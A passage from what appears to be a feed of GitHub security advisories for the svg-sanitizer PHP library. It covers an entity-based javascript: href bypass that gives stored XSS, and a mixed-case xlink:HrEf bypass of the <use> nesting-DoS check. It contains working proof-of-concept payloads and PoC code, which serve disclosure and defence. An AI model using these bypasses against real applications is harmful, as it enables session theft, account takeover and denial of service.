&lt;p&gt;Embed the sanitized SVG inline in HTML:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-basic&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;div&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;class&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;svg-container&lt;/span&gt;&quot;&lt;span class=&quot;pl-kos&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;pl-c&quot;&gt;&amp;lt;!-- sanitized SVG output inserted here --&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;svg&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;xmlns&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;http://www.w3.org/2000/svg&lt;/span&gt;&quot; &lt;span class=&quot;pl-c1&quot;&gt;viewBox&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;0 0 400 120&lt;/span&gt;&quot;&lt;span class=&quot;pl-kos&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;href&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;&amp;amp;Tab;javascript:alert(document.domain)&lt;/span&gt;&quot;&lt;span class=&quot;pl-kos&quot;&gt;&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;rect&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;width&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;400&lt;/span&gt;&quot; &lt;span class=&quot;pl-c1&quot;&gt;height&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;120&lt;/span&gt;&quot; &lt;span class=&quot;pl-c1&quot;&gt;fill&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;#c00&lt;/span&gt;&quot; &lt;span class=&quot;pl-c1&quot;&gt;rx&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;12&lt;/span&gt;&quot;&lt;span class=&quot;pl-kos&quot;&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;text&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;x&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;200&lt;/span&gt;&quot; &lt;span class=&quot;pl-c1&quot;&gt;y&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;65&lt;/span&gt;&quot; &lt;span class=&quot;pl-c1&quot;&gt;fill&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;white&lt;/span&gt;&quot; &lt;span class=&quot;pl-c1&quot;&gt;font-size&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;20&lt;/span&gt;&quot; &lt;span class=&quot;pl-c1&quot;&gt;text-anchor&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;middle&lt;/span&gt;&quot;&lt;span class=&quot;pl-kos&quot;&gt;&amp;gt;&lt;/span&gt;CLICK ME&lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;svg&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Clicking the red rectangle executes &lt;code class=&quot;notranslate&quot;&gt;alert(document.domain)&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Confirmed:&lt;/strong&gt; Chrome 148. PoC file: &lt;code class=&quot;notranslate&quot;&gt;XSS_CONFIRMED_POC.html&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Exploitable Named Character References&lt;/h3&gt;
&lt;p&gt;Any HTML5 Named Character Reference that expands to a URL-parser-ignored character:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;notranslate&quot;&gt;&amp;amp;Tab;&lt;/code&gt; → U+0009 (Horizontal Tab)&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;notranslate&quot;&gt;&amp;amp;NewLine;&lt;/code&gt; → U+000A (Line Feed)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are stripped by the URL parser&#39;s scheme extraction, allowing &lt;code class=&quot;notranslate&quot;&gt;javascript:&lt;/code&gt; to be the effective scheme.&lt;/p&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;h3&gt;Stored XSS&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint&lt;/li&gt;
&lt;li&gt;SVG passes sanitization — sanitizer reports no issues&lt;/li&gt;
&lt;li&gt;When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page&#39;s origin&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Account takeover:&lt;/strong&gt; &lt;code class=&quot;notranslate&quot;&gt;document.cookie&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;fetch(&#39;/wp-admin/...&#39;)&lt;/code&gt;, session hijacking&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Context requirement&lt;/h3&gt;
&lt;p&gt;The sanitized SVG must be embedded &lt;strong&gt;inline in HTML&lt;/strong&gt; (not as &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;img src=&quot;file.svg&quot;&amp;gt;&lt;/code&gt;). Common scenarios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WordPress themes that &lt;code class=&quot;notranslate&quot;&gt;echo file_get_contents($svg_path)&lt;/code&gt; for inline SVG rendering&lt;/li&gt;
&lt;li&gt;WordPress block editor SVG preview&lt;/li&gt;
&lt;li&gt;Any web application rendering svg-sanitize output directly in HTML&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Standalone &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;img src=&quot;...svg&quot;&amp;gt;&lt;/code&gt; is NOT affected (browser uses XML parser, &lt;code class=&quot;notranslate&quot;&gt;&amp;amp;Tab;&lt;/code&gt; without DOCTYPE = XML parse error).&lt;/p&gt;
&lt;h2&gt;CVSS&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;CVSS 3.1: 6.1 (Medium)&lt;/strong&gt; — stored XSS, requires user click&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;With session stealing / admin takeover chain: effective severity &lt;strong&gt;High&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Suggested Fix&lt;/h2&gt;
&lt;h3&gt;Option 1: Strip DOCTYPE before parsing (recommended)&lt;/h3&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;dirty&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;preg_replace&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;/&amp;lt;!DOCTYPE[^&amp;gt;]*(?:\[.*?\])?\s*&amp;gt;/si&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&#39;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;dirty&lt;/span&gt;);&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Eliminates entity definitions entirely. No DTD entities = no collision.&lt;/p&gt;
&lt;h3&gt;Option 2: Validate href after serialization&lt;/h3&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;clean&lt;/span&gt; = &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;xmlDocument&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;saveXML&lt;/span&gt;(...);
&lt;span class=&quot;pl-c&quot;&gt;// Post-serialization check: re-validate all href values in the OUTPUT&lt;/span&gt;
&lt;span class=&quot;pl-c&quot;&gt;// (catches entity references that bypass the XML-expanded check)&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Option 3: Expand entities before validation&lt;/h3&gt;
&lt;p&gt;Validate &lt;code class=&quot;notranslate&quot;&gt;getAttribute()&lt;/code&gt; return value AND the serialized form:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;href&lt;/span&gt; = &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;element&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;getAttribute&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;attrName&lt;/span&gt;);
&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;serialized&lt;/span&gt; = &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;xmlDocument&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;saveXML&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;element&lt;/span&gt;);
&lt;span class=&quot;pl-c&quot;&gt;// Check both for javascript: scheme&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Environment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;enshrined/svg-sanitize 0.22.x&lt;/li&gt;
&lt;li&gt;Chrome 148 (confirmed XSS execution)&lt;/li&gt;
&lt;li&gt;PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Reported by ExPatch Security Research — &lt;a href=&quot;https://expatch.llc/&quot; rel=&quot;nofollow&quot;&gt;expatch.llc&lt;/a&gt;&lt;br&gt;
Denis Rostilov&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-9rjx-3jch-6vjf&quot; href=&quot;https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-9rjx-3jch-6vjf&quot;&gt;GHSA-9rjx-3jch-6vjf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-107380&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-107380&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867/hovercard&quot; href=&quot;https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867&quot;&gt;darylldoyle/svg-sanitizer@&lt;tt&gt;23877db&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0&quot;&gt;https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-9rjx-3jch-6vjf</link><guid isPermaLink="false">https://github.com/advisories/GHSA-9rjx-3jch-6vjf</guid><pubDate>Thu, 08 Oct 2026 19:41:15 GMT</pubDate></item><item><title>svg-sanitizer: Mixed-case xlink:HrEf skips the `&lt;use&gt;` nesting-DoS check in Resolver::processReferences</title><description>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;Resolver::processReferences()&lt;/code&gt; collects &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;use&amp;gt;&lt;/code&gt; elements with the XPath predicate &lt;code class=&quot;notranslate&quot;&gt;use[@href or @xlink:href]&lt;/code&gt;, which is case sensitive. A &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;use&amp;gt;&lt;/code&gt; element written as &lt;code class=&quot;notranslate&quot;&gt;xlink:HrEf&lt;/code&gt; is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. &lt;code class=&quot;notranslate&quot;&gt;Sanitizer::cleanHrefAttributes()&lt;/code&gt; then runs later in the same pass and rewrites &lt;code class=&quot;notranslate&quot;&gt;xlink:HrEf&lt;/code&gt; back to the canonical &lt;code class=&quot;notranslate&quot;&gt;xlink:href&lt;/code&gt;. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing.&lt;/p&gt;
&lt;p&gt;This is the mirror image of &lt;a title=&quot;CVE-2025-55166&quot; data-hovercard-type=&quot;advisory&quot; data-hovercard-url=&quot;/advisories/GHSA-22wq-q86m-83fh/hovercard&quot; href=&quot;https://github.com/advisories/GHSA-22wq-q86m-83fh&quot;&gt;CVE-2025-55166&lt;/a&gt;: that fix made href &lt;em&gt;value&lt;/em&gt; checking case insensitive, but the &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;use&amp;gt;&lt;/code&gt; reference graph still selects nodes case sensitively.&lt;/p&gt;
&lt;h2&gt;Where it is&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;src/ElementReference/Resolver.php:97-118&lt;/code&gt;, the case-sensitive node selection:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;useNodeName&lt;/span&gt; = &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;xPath&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;createNodeName&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;use&lt;/span&gt;&#39;&lt;/span&gt;);
&lt;span class=&quot;pl-k&quot;&gt;foreach&lt;/span&gt; (&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;subjects&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;subject&lt;/span&gt;) {
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;useElements&lt;/span&gt; = &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;xPath&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;query&lt;/span&gt;(
        &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;useNodeName&lt;/span&gt; . &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;[@href or @xlink:href]&lt;/span&gt;&#39;&lt;/span&gt;,
        &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;subject&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;getElement&lt;/span&gt;()
    );&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;src/Sanitizer.php:479-504&lt;/code&gt;, the normalization that happens afterwards and makes the attribute live again:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-c&quot;&gt;// in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href`&lt;/span&gt;
&lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; (!&lt;span class=&quot;pl-en&quot;&gt;in_array&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;attribute&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;nodeName&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;allowedAttrs&lt;/span&gt;, &lt;span class=&quot;pl-c1&quot;&gt;true&lt;/span&gt;)
    &amp;amp;&amp;amp; &lt;span class=&quot;pl-en&quot;&gt;in_array&lt;/span&gt;(&lt;span class=&quot;pl-en&quot;&gt;strtolower&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;attribute&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;nodeName&lt;/span&gt;), &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;allowedAttrs&lt;/span&gt;, &lt;span class=&quot;pl-c1&quot;&gt;true&lt;/span&gt;)
) {
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;element&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;removeAttribute&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;attribute&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;nodeName&lt;/span&gt;);
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;element&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;setAttribute&lt;/span&gt;(&lt;span class=&quot;pl-en&quot;&gt;strtolower&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;attribute&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;nodeName&lt;/span&gt;), &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;attribute&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;value&lt;/span&gt;);
}&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ordering is the whole bug. &lt;code class=&quot;notranslate&quot;&gt;Sanitizer::sanitize()&lt;/code&gt; builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change.&lt;/p&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project&#39;s own &lt;code class=&quot;notranslate&quot;&gt;tests/data/useDosTest.svg&lt;/code&gt; nesting structure, intact, with canonical &lt;code class=&quot;notranslate&quot;&gt;xlink:href&lt;/code&gt; attributes, which is exactly the input the &lt;code class=&quot;notranslate&quot;&gt;useNestingLimit&lt;/code&gt; machinery exists to defuse.&lt;/p&gt;
&lt;h2&gt;Proof of concept&lt;/h2&gt;
&lt;p&gt;Against a clean clone of tag &lt;code class=&quot;notranslate&quot;&gt;0.22.0&lt;/code&gt;. The only change to the input is rewriting &lt;code class=&quot;notranslate&quot;&gt;xlink:href&lt;/code&gt; to &lt;code class=&quot;notranslate&quot;&gt;xlink:HrEf&lt;/code&gt; in the project&#39;s own DoS fixture.&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-ent&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;pl-en&quot;&gt;spl_autoload_register&lt;/span&gt;(&lt;span class=&quot;pl-k&quot;&gt;function&lt;/span&gt; (&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;class&lt;/span&gt;) {
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;p&lt;/span&gt; = &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;enshrined&lt;/span&gt;\\&lt;span class=&quot;pl-s&quot;&gt;svgSanitize&lt;/span&gt;\\&#39;&lt;/span&gt;;
    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;pl-en&quot;&gt;strpos&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;class&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;p&lt;/span&gt;) !== &lt;span class=&quot;pl-c1&quot;&gt;0&lt;/span&gt;) &lt;span class=&quot;pl-k&quot;&gt;return&lt;/span&gt;;
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;rel&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;str_replace&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;\\&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;/&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-en&quot;&gt;substr&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;class&lt;/span&gt;, &lt;span class=&quot;pl-en&quot;&gt;strlen&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;p&lt;/span&gt;)));
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;f&lt;/span&gt; = &lt;span class=&quot;pl-c1&quot;&gt;__DIR__&lt;/span&gt; . &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;/svgsan/src/&lt;/span&gt;&#39;&lt;/span&gt; . &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;rel&lt;/span&gt; . &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;.php&lt;/span&gt;&#39;&lt;/span&gt;;
    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;pl-en&quot;&gt;file_exists&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;f&lt;/span&gt;)) &lt;span class=&quot;pl-k&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;f&lt;/span&gt;;
});
&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;orig&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;file_get_contents&lt;/span&gt;(&lt;span class=&quot;pl-c1&quot;&gt;__DIR__&lt;/span&gt; . &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;/svgsan/tests/data/useDosTest.svg&lt;/span&gt;&#39;&lt;/span&gt;);
&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;mut&lt;/span&gt;  = &lt;span class=&quot;pl-en&quot;&gt;str_replace&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;xlink:href&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;xlink:HrEf&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;orig&lt;/span&gt;);

&lt;span class=&quot;pl-k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;run&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;label&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;input&lt;/span&gt;) {
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;s&lt;/span&gt; = &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; \&lt;span class=&quot;pl-v&quot;&gt;enshrined&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;svgSanitize&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;Sanitizer&lt;/span&gt;();
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;s&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;removeRemoteReferences&lt;/span&gt;(&lt;span class=&quot;pl-c1&quot;&gt;true&lt;/span&gt;);
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;out&lt;/span&gt; = &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;s&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;sanitize&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;input&lt;/span&gt;);
    &lt;span class=&quot;pl-k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;label&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;]&lt;/span&gt;\n&quot;&lt;/span&gt;;
